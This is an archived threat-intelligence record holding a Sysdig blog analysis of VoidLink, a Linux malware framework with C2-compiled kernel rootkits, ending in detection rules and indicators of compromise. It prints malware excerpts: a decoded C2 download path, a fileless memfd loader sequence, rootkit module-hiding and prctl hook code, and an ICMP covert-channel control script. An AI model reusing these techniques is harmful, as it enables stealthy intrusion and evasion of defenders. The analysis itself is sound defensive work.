{
	"id": "357a0933-dadf-462c-88e9-231b4f8ef585",
	"created_at": "2026-04-06T00:11:22.296436Z",
	"updated_at": "2026-04-10T13:11:48.54055Z",
	"deleted_at": null,
	"sha1_hash": "5c93dd577dd5d00889cbedf3f0463b746c4af095",
	"title": "VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 341143,
	"plain_text": "VoidLink threat analysis: Sysdig discovers C2-compiled kernel\r\nrootkits\r\nBy Sysdig Threat Research Team\r\nPublished: 2026-01-16 · Archived: 2026-04-05 15:25:41 UTC\r\nFalco Feeds extends the power of Falco by giving open source-focused companies\r\naccess to expert-written rules that are continuously updated as new threats are\r\ndiscovered.\r\nlearn more\r\nOn January 13, 2026, Check Point Research published its analysis of VoidLink, a Chinese-developed Linux\r\nmalware framework designed to target cloud environments. Following its discovery, the Sysdig Threat Research\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 1 of 17\n\nTeam (TRT) took a deeper look at Voidlink, examining its binaries to better understand the malware’s loader\r\nchain, rootkit internals, and control mechanisms. \r\nKey findings from the Sysdig TRT’s VoidLink analysis include:\r\nFirst documented Serverside Rootkit Compilation (SRC): The command and control (C2) server builds\r\nkernel modules on-demand for each target's specific kernel version, solving the portability problem that has\r\nlimited Loadable Kernel Modules (LKM) rootkits.\r\nChinese-developed with AI assistance: Chinese technical comments persist throughout the kernel source,\r\ncombined with Large Language Model (LLM)-generated boilerplate patterns.\r\nAdaptive detection and response evasion: VoidLink discovers security products and adjusts behavior in\r\nreal-time, with triple-redundant control channels.\r\nDetectable with runtime monitoring: Despite its sophistication, VoidLink's syscall patterns and fileless\r\nexecution techniques are visible to runtime detection tools like Falco and Sysdig Secure.\r\nZig programming language: VoidLink is the first discovered Chinese-language malware to be written in\r\nZig.\r\nThe Sysdig TRT’s technical examination of VoidLink begins with the infection chain, explores its rootkit, and\r\nidentifies several previously undiscovered capabilities and indicators of compromise. Let’s begin by analyzing its\r\narchitecture.\r\nVoidLink’s multi-stage loader architecture\r\nVoidLink uses a three-stage delivery mechanism designed to minimize its on-disk footprint and evade static\r\nanalysis. It relies on two initial droppers for insertion:\r\nStage 0: Initial dropper\r\nThe Stage 0 loader is a minimal 9KB Executable and Linkable Format (ELF) binary written in Zig that bootstraps\r\nthe infection. Its simplicity is intentional: smaller binaries attract less scrutiny and leave fewer artifacts.\r\nOnce executed, Stage 0 performs the following operations:\r\n1. Fork and masquerade as [kworker/0:0] using prctl(PR_SET_NAME) .\r\n2. Connect to C2 via HTTP to download /stage1.bin .\r\n3. Execute the payload entirely in memory using a fileless technique.\r\nThe syscall sequence is highly distinctive:\r\nfork(57) → Create child process\r\nprctl(157) → Set process name to [kworker/0:0]\r\nsocket(41) → Create TCP socket\r\nconnect(42) → Connect to C2 server\r\nrecvfrom(45) → Receive /stage1.bin payload\r\nmemfd_create(319) → Create anonymous memory file\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 2 of 17\n\nwrite(1) → Write payload to memfd\r\nexecveat(322) → Execute from memory fd\r\nUsing  memfd_create followed by execveat is a well-known combination technique fileless execution. The\r\npreceding prctl(PR_SET_NAME) with a kernel thread name makes it particularly suspicious. Legitimate kernel\r\nthreads do not often have an executable path in /proc/\u003cpid\u003e/exe .\r\nC2 configuration encoding\r\nThe C2 address is obfuscated with XOR key 0xAA :\r\nencoded = bytes.fromhex(\"92849b9e93839b989284...\")\r\ndecoded = bytes([b ^ 0xAA for b in encoded])\r\n# Result: b'8.149.128.10/stage1.bin HTTP/1.1\\r\\nHost: '\r\nThe port (8080) is stored separately, byte-swapped with rolw $8, %cx . This minor obfuscation complicates\r\nsimple string extraction but is trivial to reverse.\r\nStage 1: Implant dropper\r\nStage 1 shares the same 9KB size and Zig toolchain as Stage 0. The key difference is HTTP Range header support,\r\nwhich enables resumable downloads for the larger implant binary.\r\nFeature Stage 0 Stage 1\r\nDownloads /stage1.bin /implant.bin\r\nC2 encoding XOR with 0xAA Plaintext\r\nHTTP features Basic GET Range: bytes= header\r\nProcess masks [kworker/0:0] Multiple variants\r\nThe Range header support is a practical choice. The implant is 1.2MB, and interrupted downloads can resume\r\nrather than restart. The path /implant.bin is constructed at runtime from two string fragments, which is a basic\r\nanti-string technique.\r\nFileless execution detail\r\nmemfd_create(\"\", MFD_CLOEXEC) → fd 3\r\nwrite(3, implant_data, size)\r\nexecveat(3, \"\", argv, envp, AT_EMPTY_PATH)\r\nThe empty filename with AT_EMPTY_PATH flag allows execution directly from the file descriptor without any\r\nfilesystem path. No binary is ever written to disk.\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 3 of 17\n\nAdaptive evasion of detection and response\r\nVoidLink does not simply evade major Cloud Detection and Response (CDR), Endpoint Detection and Response\r\n(EDR), and Extended Detection and Response (XDR) products. It actively profiles them at the process or path\r\nlevel and adjusts its behavior accordingly. This adaptive stealth is one of the framework's defining characteristics.\r\nTo better understand how it works, let’s explore the process names and paths that VoidLink looks for, and examine\r\nwhat happens when it finds them.\r\nSecurity product detection\r\nThe implant scans for security products through two methods: process enumeration via /proc/\u003cpid\u003e/comm and\r\ninstallation path probes.\r\nVendor Process names Installation paths\r\nCrowdStrike falcon-sensor , falconctl /opt/CrowdStrike/\r\nSentinelOne SentinelAgent, sentinelctl /opt/sentinelone/\r\nCarbon Black cbagentd /var/opt/carbonblack/\r\nFalco falco /etc/falco/falco.yaml\r\nSysdig sysdig -\r\nWazuh wazuh-agentd -\r\nOSSEC ossec-agent , ossec-agentd /var/ossec/etc/ossec.conf\r\nosquery osqueryd -\r\nauditd auditd /etc/audit/auditd.conf\r\nClamAV clamd -\r\nAlibaba Aegis aegis -\r\nAdditionally, VoidLink checks for two dynamic analysis tools. For Frida, the popular dynamic instrumentation\r\ntoolkit, it searches for frida-agent and frida-gadget processes and scans /proc/self/maps for loaded Frida\r\nlibraries. For debugger detection, it checks the TracerPid field in /proc/self/status . This field contains the\r\nprocess ID of any process that is tracing the current process via ptrace . A value of 0 indicates no tracer is\r\nattached; any non-zero value means a debugger such as gdb, strace , or a security tool is actively attached.\r\nIt should be noted that Sysdig Secure does not use the process name specified in the table. It is, however, the\r\nname of the sysdig OSS tool that can record system calls. \r\nRisk-based timing adjustment\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 4 of 17\n\nWhen detection and response products are detected, VoidLink modifies beacon timing to reduce detection\r\nprobability:\r\nCondition Base delay Max delay Jitter Mode\r\nNo detection and response product detected 4096ms 1000ms 20% aggressive\r\nDetection and response product detected 1024ms 5000ms 30% paranoid\r\nDuring reverse engineering, the disassembly binary reveals the exact values used:\r\n; Check if any EDR detected (rbx = count)\r\n0x108b721: testq %rbx, %rbx\r\n0x108b728: je no_detections\r\n; HIGH RISK - EDR detected\r\n0x108b758: movl $0x400, ... ; base_delay = 1024ms\r\n0x108b76e: movl $0x1388, %r14d ; max_delay = 5000ms\r\n0x108b774: movl $0x3e99999a, ... ; jitter = 0.3 (30%)\r\n0x108b77e: movb $0x2, %al ; mode = 2 (paranoid)\r\n; LOW RISK - no detections\r\n0x108b788: movl $0x1000, ... ; base_delay = 4096ms\r\n0x108b79e: movl $0x3e8, %r14d ; max_delay = 1000ms\r\n0x108b7a4: movl $0x3e4ccccd, ... ; jitter = 0.2 (20%)\r\n0x108b7ae: movb $0x1, %al ; mode = 1 (aggressive)\r\nAvailable evasion strategies\r\nStrategy Description\r\naggressive Normal operations, standard beacon timing\r\nparanoid Maximum caution, extended delays, high jitter\r\nlow_activity Reduced operations, minimal footprint\r\nsimulate_normal Mimic legitimate application traffic patterns\r\nAdditional evasion toggles found in strings include working_hours.enabled for business-hours-only activity,\r\ntraffic_shaping.enabled for traffic pattern matching, and protocol_switch for hot-switching between HTTP,\r\nWebSocket, and Internet Control Message Protocol (ICMP) channels.\r\nRootkit capabilities and kernel-level stealth\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 5 of 17\n\nVoidLink implements a sophisticated rootkit with three deployment methods, only one of which is selected based\r\non kernel version and available capabilities within the victim environment.\r\nDeployment decision logic\r\nThe framework automatically selects the appropriate stealth mechanism:\r\nKernel 6.x+: Remote compile eBPF, deploy via ss_loader\r\nKernel 5.x: Hybrid mode combining eBPF and Loadable Kernel Module (LKM)\r\nOlder kernels: Remote compile LKM, load via finit_module\r\nServerside Rootkit Compilation (SRC)\r\nThe VoidLink implant does not embed kernel modules directly. Instead, it requests kernel-specific builds from the\r\nC2 server via POST to /compile :\r\n{\r\n \"kernel_release\": \"6.1.0-generic\",\r\n \"hidden_ports\": [4444, 8080],\r\n \"has_gcc\": true,\r\n \"has_clang\": false,\r\n \"has_headers\": true\r\n}\r\nThe C2 responds with a compiled module appropriate for the target kernel:\r\n{\r\n \"module_type\": \"ebpf\",\r\n \"ebpf_data\": \"\u003cbase64-encoded .o file\u003e\",\r\n \"needs_ebpf_ss\": true\r\n}\r\nThis never-before-seen design keeps the implant small and ensures kernel compatibility without Compile Once,\r\nRun Everywhere (CO-RE) complexity on the client side. The C2 server can cache compiled modules for common\r\nkernel versions.\r\nA novel approach to kernel portability\r\nKernel modules must be compiled against specific kernel headers, creating a portability challenge for LKM\r\nrootkits. VoidLink's SRC approach appears to be unprecedented in documented malware:\r\nMalware Approach Limitations\r\nKrasue RAT Embeds 7 pre-compiled rootkits Only covers specific kernel versions\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 6 of 17\n\nMalware Approach Limitations\r\nDrovorub Single pre-compiled module Limited kernel compatibility\r\nDiamorphine Compile on target Requires gcc/make on target\r\nBPFDoor eBPF bytecode Limited to eBPF capabilities\r\nVoidLink C2 compiles on demand Supports unlimited kernels\r\nSRC solves the kernel portability problem without bloating the implant or requiring build tools on the target. The\r\nC2 can update rootkit code without redeploying the implant, and modules are compiled on-demand, reducing\r\nstatic signatures.\r\nSelf-compile variant: Embedded assets\r\nA larger 1.9MB variant takes a different approach for rootkit deployment. It embeds both source code (~700KB)\r\nand gzip-compressed pre-compiled binaries (~800KB):\r\nFilename Size SHA256\r\nvl_stealth .ko 108 KB a12a9eb2e5e...\r\nss_loader 1.3 MB 143274080851...\r\nhide_ss.bpf.o 100 KB f208cebec4f...\r\nThe deployment fallback chain attempts local compilation first (if gcc and kernel headers are available), then\r\nextracts pre-compiled vl_stealth .ko, loads via finit_module() , and deploys eBPF by extracting ss_loader to\r\n/tmp/.vl_ss_loader .\r\nLKM hook targets\r\nThe kernel module ( vl_stealth.ko ) implements multiple hook types to hide the implant's presence.\r\nSyscall table hooks:\r\nHook target Purpose Evades\r\nprctl Receive hide commands via magic 0x564C Control channel\r\ngetdents Filter 32-bit directory listings ls, find\r\ngetdents64 Filter 64-bit directory listings ls, find\r\nKretprobe hooks:\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 7 of 17\n\nHook target Purpose Evades\r\ntcp4_seq_show Filter /proc/net/tcp output netstat -t\r\ntcp6_seq_show Filter /proc/net/tcp6 output netstat -t6\r\nudp4_seq_show Filter /proc/net/udp output netstat -u\r\nnetlink_recvmsg Filter netlink socket responses ss -t, ss -u\r\ninet_sk_diag_fill Filter inet diag responses ss socket details\r\nvfs_read Filter debugfs/procfs reads /proc/modules , /proc/kallsyms\r\nWhy LKM for netstat but eBPF for ss?\r\nThe implant uses different stealth mechanisms for different tools because they query the network state differently.\r\nThe netstat command reads /proc/net/tcp , which can be intercepted via tcp4_seq_show kretprobes. However,\r\nthe ss utility uses netlink sockets ( NETLINK_SOCK_DIAG ), which require eBPF to intercept recvmsg . The Chinese\r\ncomments in the source explicitly note: \"ss 命令隐藏由 eBPF 模块实现 (更稳定)\" (ss command hiding\r\nimplemented by eBPF module, more stable).\r\nKernel 5.7+ compatibility\r\nLinux 5.7 stopped exporting kallsyms_lookup_name , breaking a common technique for finding kernel symbols.\r\nVoidLink works around this by registering a kprobe on kallsyms_lookup_name itself, reading the address from\r\nthe kprobe structure, then using that address as a function pointer to look up other symbols.\r\nNetfilter hooks for ICMP covert channel:\r\nHook Point Purpose\r\nNF_INET_PRE_ROUTING Intercept incoming ICMP\r\nNF_INET_LOCAL_IN Process ICMP to local host\r\nNF_INET_LOCAL_OUT Filter outgoing ICMP\r\nModule self-hiding\r\nThe module removes itself from standard enumeration, making it more difficult for defenders to identify abnormal\r\nkernel modules. The Linux kernel maintains a doubly-linked list of all loaded modules, anchored at the modules\r\nglobal variable. This list is what /proc/modules iterates over, and consequently what lsmod displays. Each\r\nloaded module is represented by a struct module that contains a list member linking it to this chain. By\r\nunlinking itself from this list, a module becomes invisible to standard enumeration tools while remaining fully\r\nfunctional in memory:\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 8 of 17\n\nstatic void hide_module(void) {\r\n list_del_init(\u0026THIS_MODULE-\u003elist); // Hide from /proc/modules\r\n kobject_del(\u0026THIS_MODULE-\u003emkobj.kobj); // Hide from /sys/module/\r\n}\r\nMODULE_LICENSE(\"GPL\");\r\nMODULE_INFO(intree, \"Y\"); // Pretend to be in-tree module\r\nThe MODULE_INFO(intree, \"Y\") directive makes the module appear as a legitimate kernel component rather than\r\nan externally loaded module, avoiding the \"O\" (out-of-tree) taint flag.\r\nSymbol hiding via vfs_read\r\nThe vfs_read hook filters sensitive strings from /proc/kallsyms and /sys/kernel/debug/kprobes/list .\r\nWithout this, c at /proc/kallsyms | grep vl_stealth would reveal the module. Filtered strings include\r\nvl_stealth , tcp4_seq_show, netlink_recvmsg , and notably vfs_read itself. The rootkit hides its own hiding\r\nmechanism.\r\nControl channels\r\nVoidLink provides three distinct control channels for managing the rootkit, each with a different purpose, stealth\r\nprofile, and capability tradeoffs. \r\nprctl magic interface\r\nThis is the local interface with the rookit, allowing the implant to make changes. The kernel module hooks\r\nprctl and responds to magic option value 0x564C (ASCII \"VL\"):\r\n#define PRCTL_MAGIC 0x564C\r\nstatic asmlinkage long hk_prctl(int option, unsigned long arg2, ...) {\r\n if (option == PRCTL_MAGIC) {\r\n int cmd = (int)arg2;\r\n switch (cmd) {\r\n case 1: add_hidden_port(arg3); break;\r\n case 2: add_hidden_pid(arg3); break;\r\n case 3: add_hidden_file((char*)arg3); break;\r\n case 4: clear_all_hiding(); break;\r\n }\r\n return 0;\r\n }\r\n return orig_prctl(option, arg2, arg3, arg4, arg5);\r\n}\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 9 of 17\n\nThis provides a userspace control interface that requires no network communication, and it enables threat actors to\r\nbetter evade detection.\r\nBerkeley Packet Filter map updates\r\nFor its eBPF-based stealth, the implant updates bpf maps to make changes to the network stealth functions:\r\nint ports_fd = bpf_object__find_map_fd_by_name(obj, \"sd_nl_ports\");\r\nbpf_map_update_elem(ports_fd, \u0026port, \u0026v, BPF_ANY);\r\nThe Berkeley Packet Filter (BPF) maps used include sd_nl_ports (ports to hide from ss ), sd_cg_pids (PIDs\r\nto hide from ps ), and sd_cg_names (filenames to hide).\r\nICMP covert channel\r\nThe most interesting control mechanism allows operators to send commands via ICMP echo packets. This allows\r\nfor commands to be remotely sent to the implant even if all other access is lost. VoidLink listens for ping packets\r\n(ICMP type 8) where the ID field contains the magic value 0xC0DE .\r\nCode Command Description\r\n0x01 HIDE_PID Hide a process ID\r\n0x02 HIDE_PORT Hide a network port\r\n0x03 HIDE_FILE Hide files matching prefix\r\n0x04 SHOW_MOD Unhide the kernel module\r\n0x12 HIDE_IP Hide connections to IP\r\n0x13 HIDE_IPPORT Hide connections to IP:port pair\r\n0x20 SET_KEY Rotate authentication key\r\n0xFE SELF_DESTRUCT Wipe and unload\r\n0xFF CLEAR Clear all hiding rules\r\nWhat is even more interesting is that the malware authors embedded a complete Python control script directly in\r\nthe binary:\r\nimport socket,struct,sys\r\ns=socket.socket(socket.AF_INET,socket.SOCK_RAW,1)\r\nmagic=0xC0DE\r\nkey=0x42\r\ncmd=int(sys.argv[2])\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 10 of 17\n\ndata=bytes.fromhex(sys.argv[3]) if len(sys.argv)\u003e3 else b''\r\npayload=struct.pack('\u003eHBB',magic,cmd,key)+data\r\n# ... checksum calculation ...\r\ns.sendto(icmp,(sys.argv[1],0))\r\nThis provides out-of-band control when the primary HTTP C2 path is blocked. Only ICMP reachability to the\r\ntarget is required, allowing the threat actor to persist silently.\r\nControl channel command mapping\r\nAn interesting quirk: the prctl and ICMP interfaces use different command numbers for port and Proportional,\r\nIntegral, and Derivative (PID) operations (they are swapped). This suggests the code paths evolved independently.\r\nTarget prctl cmd ICMP cmd\r\nPort 1 0x02\r\nPID 2 0x01\r\nFile 3 0x03\r\nSelf-destruct mechanism\r\nThe ICMP 0xFE command triggers the comprehensive destruction of evidence. The cleanup sequence includes\r\nLKM deactivation (clearing all hidden PIDs, ports, and file prefixes), log wiping ( /var/log/auth.log ,\r\n/var/log/syslog , /var/log/audit/audit.log , and others), shell history removal ( ~/.bash_history ,\r\n~/.zsh_history , ~/.python_history ), VoidLink artifact cleanup ( /tmp/.vl_*, /var/tmp/.vl_*,\r\n/dev/shm/.vl_* ), and self-deletion via unlink( self_path ).\r\nThe thoroughness of this cleanup routine indicates significant operational security awareness by the rootkit\r\ndevelopers.\r\nCloud-native capabilities\r\nVoidLink includes specialized functionality for cloud and container environments:\r\nEnvironment Detection\r\nTarget Detection Method\r\nContainer /.dockerenv , cgroup namespaces\r\nKubernetes /var/run/secrets/kubernetes.io/ service account tokens\r\nAWS 169.254.169.254 metadata endpoint\r\nGCP 169.254.169.254 with GCP headers\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 11 of 17\n\nTarget Detection Method\r\nAlibaba 100.100.100.200 metadata endpoint\r\nTencent metadata.tencentyun.com\r\nContainer escape plugin\r\nThe docker_escape_v3 plugin probes for escape opportunities, likely including mounted Docker socket\r\n( /var/run/docker.sock ), privileged container detection ( --privileged ), sensitive host path mounts ( /, /etc,\r\n/root ), kernel exploit applicability, and cgroup release_agent abuse.\r\nKubernetes privilege escalation\r\nThe k8s_privesc_v3 plugin scans for misconfigurations, likely including overly permissive service account\r\ntokens, privileged pod security contexts, host namespace access ( hostPID, hostNetwork ), writable hostPath\r\nmounts, and Role-Based Access Control (RBAC) misconfigurations, which allow secret access or pod creation.\r\nThis combination of container escape and Kubernetes privilege escalation capabilities makes VoidLink\r\nparticularly concerning in cloud-native environments where container isolation is the primary security boundary.\r\nDetection\r\nDespite the sophistication of this rootkit and its attempts to evade security tool detection, it can still be detected by\r\nruntime detection rules for Falco and Sysdig Secure users. \r\nSysdig Secure customers already have rules available to detect VoidLink. These include multiple rules that detect\r\nthe rootkit installation:\r\nDrop and Execute /tmp Binary\r\nFileless Malware Detected (memfd)\r\nLinux Kernel Module Injection Detected\r\nNew Kernel Module Created and Loaded\r\neBPF Program Loaded into Kernel\r\nBPF Command Executed by Fileless Program\r\nDynamic Linker Hijacking Detected\r\nFor Falco, the rule below detects the dropper’s use of memfd_create . It is included in the default Falco ruleset.\r\n- rule: Fileless execution via memfd_create\r\n desc: Detect if a binary is executed from memory using the memfd_create technique. This is a well-known defens\r\n condition: \u003e\r\n spawned_process\r\n and proc.is_exe_from_memfd=true\r\n and not known_memfd_execution_processes\r\n output: Fileless execution via memfd_create | container_start_ts=%container.start_ts proc_cwd=%proc.cwd evt_re\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 12 of 17\n\npriority: CRITICAL\r\n tags: [maturity_stable, host, container, process, mitre_defense_evasion, T1620]\r\nAttribution indicators\r\nSeveral key indicators point to Chinese-speaking developers with significant kernel expertise.\r\nNative Chinese technical documentation\r\nThe embedded kernel module source contains extensive Chinese comments that are technically precise, not\r\nmachine-translated:\r\n// ============= 稳定性增强: 符号查找 =============\r\n// (Stability enhancement: symbol lookup)\r\n// 方式1: 直接查找 (kallsyms_lookup_name - pre-5.7)\r\n// 方式2: 使用 kprobe 直接查找 (5.7+)\r\n// 方式3-5: Try compiler-mangled variants (.isra.X, .constprop.X, .part.X)\r\nMODULE_INFO(intree, \"Y\"); // 避免 taint 警告\r\n // (Avoid taint warning)\r\nThe comments also demonstrate genuine knowledge of kernel development, including awareness of the Linux 5.7\r\nchange where kallsyms_lookup_name stopped being exported, which requires kprobe-based workarounds.\r\nAI-assisted development assessment\r\nCode analysis suggests a human-directed, AI-assisted development model (estimated 70-80% probability of AI\r\nassistance).\r\nEvidence of AI assistance:\r\nOverly systematic debug output with perfectly consistent formatting across all modules.\r\nPlaceholder data (\"John Doe\") is typical of LLM training examples embedded in decoy response templates.\r\nUniform API versioning where everything is _v3 (BeaconAPI_v3, docker_escape_v3, timestomp_v3).\r\nTemplate-like JSON responses covering every possible field.\r\nEvidence of human expertise:\r\nNative Chinese technical comments throughout the kernel module.\r\nDeep kernel development knowledge (kretprobes, netfilter hooks, kallsyms compatibility).\r\nOperational tradecraft reflecting real red team experience (magic bytes, resumable downloads, multiple\r\nfallback paths).\r\nDeliberate Zig toolchain selection.\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 13 of 17\n\nThe most likely scenario: a skilled Chinese-speaking developer used AI to accelerate development (generating\r\nboilerplate, debug logging, JSON templates) while providing the security expertise and architecture themselves.\r\nConclusion\r\nVoidLink represents a significant evolution in Linux-targeted malware. While its individual techniques are well-documented, the integration is professionally engineered. The SRC architecture, where the C2 builds kernel\r\nmodules on demand for each target's specific kernel version, solves a hard problem in cross-kernel rootkit\r\ndeployment. The adaptive threat profiling, graceful fallback chains, and redundant control channels indicate a\r\nmature development effort with operational experience.\r\nThe rising frequency of Linux-targeted attacks makes runtime threat detection more critical than ever. Since\r\nVoidLink actively profiles and adapts to evade security products, static detection alone is insufficient.\r\nOrganizations operating Linux infrastructure should prioritize deploying behavioral detection capabilities and\r\nmonitoring for the indicators detailed in this report.\r\nSamples analyzed\r\nOur analysis covers five VoidLink variants, each providing different insights into the framework's architecture:\r\nVariant SHA256 Size Notes\r\nStage 0 70aa5b3516d... 9 KB Initial dropper\r\nStage 1 13025f83ee5... 9 KB Implant dropper with resumable downloads\r\nImplant 4c4201cc127... 1.2 MB Remote-compile variant\r\nSelf-Compile 05eac3663d4... 1.9 MB Embedded source and pre-compiled modules\r\nZig Debug 15cb93d38b0... 5.1 MB Debug symbols intact\r\nThe Zig debug variant proved particularly valuable. Its preserved symbols expose the module architecture and\r\ninternal naming conventions that would otherwise require significant reverse engineering effort.\r\nWhy Zig?\r\nVoidLink is built using the Zig programming language, an unusual choice that reflects a growing trend in\r\noffensive tooling. Zig offers memory safety without garbage collection, low-level control similar to C, and built-in\r\ncross-compilation. More importantly for threat actors, Zig binaries have less recognizable structure than\r\ntraditional C/C++ executables, confusing heuristics and signature-based detection engines.\r\nThe choice is deliberate: statically linked Zig binaries run anywhere without runtime dependencies, and security\r\ntools are not yet tuned for Zig-specific patterns. VoidLink appears to be the first documented Zig-based malware\r\nattributed to Chinese-speaking threat actors.\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 14 of 17\n\nIndicators of Compromise\r\nFile hashes (SHA256)\r\nLoaders and implants:\r\nHash Description\r\n70aa5b3516d331e9d1876f3b8994fc8c18e2b1b9f15096e6c790de8cd adb3fc9\r\nStage 0\r\ndropper\r\n13025f83ee515b299632d267f94b37c71115b22447a0425ac7baed4bf 60b95cd\r\nStage 1\r\ndropper\r\n4c4201cc1278da615bacf48deef461bf26c343f8cbb2d8596788b4182 9a39f3f\r\nImplant\r\n(remote-compile)\r\n05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc9703 8948f69\r\nSelf-compile\r\nvariant\r\n15cb93d38b0a4bd931434a501d8308739326ce482da5158eb657b0af0 fa7ba49\r\nZig debug\r\nvariant\r\nExtracted modules:\r\nHash Description\r\na12a9eb2e5efe9a64fdf76803ac6be78e780e8a5ed35aca5369b11e2f 63af998 vl_stealth .ko\r\n143274080851cbc095d286d6cc847e5e0aa8aab98bb1501efbf33e4c0 8e5f345 ss_loader\r\nf208cebec4f48c853fc8e8e29040cfbe60ce2b5fa29056d6765408933 5c21efd hide_ss.bpf. o\r\nNetwork indicators\r\nC2 server:\r\nAttribute Value\r\nIP Address 8.149.128.10\r\nPort 8080\r\nASN AS37963 (Alibaba Cloud)\r\nCountry China (CN)\r\nC2 endpoints:\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 15 of 17\n\nPOST /api/v2/handshake\r\nPOST /api/v2/sync\r\nGET /api/v2/heartbeat\r\nPOST /compile\r\nGET /stage1.bin\r\nGET /implant.bin\r\nUser-agent strings:\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\r\nMozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15\r\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0\r\nFile system artifacts\r\nDrop locations:\r\n/tmp/.vl_ss_loader\r\n/tmp/.vl_k[3-6].ko\r\n/tmp/.vl_cmd.sh\r\n/tmp/.vl_config\r\n/tmp/.font-unix/.tmp.ko\r\n/tmp/.font-unix/.cmd.sh\r\nStaging paths:\r\n/dev/shm/.x\r\n/dev/shm/.pulse-*\r\n/dev/shm/.vl_*\r\n/tmp/.x\r\n/var/tmp/.vl_*\r\nProcess indicators\r\nMasquerade names:\r\n[kworker/0:0]\r\n[kworker/0:1]\r\n[kworker/u8:0]\r\n[kworker/u16:0]\r\nmigration/0\r\nwatchdog/0\r\nrcu_sched\r\nMagic values\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 16 of 17\n\nValue Purpose\r\n0x564C prctl magic for LKM control (\"VL\")\r\n0xC0DE ICMP echo ID for covert channel\r\n0xAA XOR key for C2 config encoding\r\n0x42 Default ICMP authentication key\r\nAbout the author\r\nTest drive the right way to defend the cloudwith a security expert\r\nSource: https://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nhttps://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits\r\nPage 17 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits"
	],
	"report_names": [
		"voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits"
	],
	"threat_actors": [
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-10T02:00:03.325163Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "3fff98c9-ad02-401d-9d4b-f78b5b634f31",
			"created_at": "2023-01-06T13:46:38.376868Z",
			"updated_at": "2026-04-10T02:00:02.949077Z",
			"deleted_at": null,
			"main_name": "Cleaver",
			"aliases": [
				"G0003",
				"Operation Cleaver",
				"Op Cleaver",
				"Tarh Andishan",
				"Alibaba",
				"TG-2889",
				"Cobalt Gypsy"
			],
			"source_name": "MISPGALAXY:Cleaver",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434282,
	"ts_updated_at": 1775826708,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/5c93dd577dd5d00889cbedf3f0463b746c4af095.pdf",
		"text": "https://archive.orkl.eu/5c93dd577dd5d00889cbedf3f0463b746c4af095.txt",
		"img": "https://archive.orkl.eu/5c93dd577dd5d00889cbedf3f0463b746c4af095.jpg"
	}
}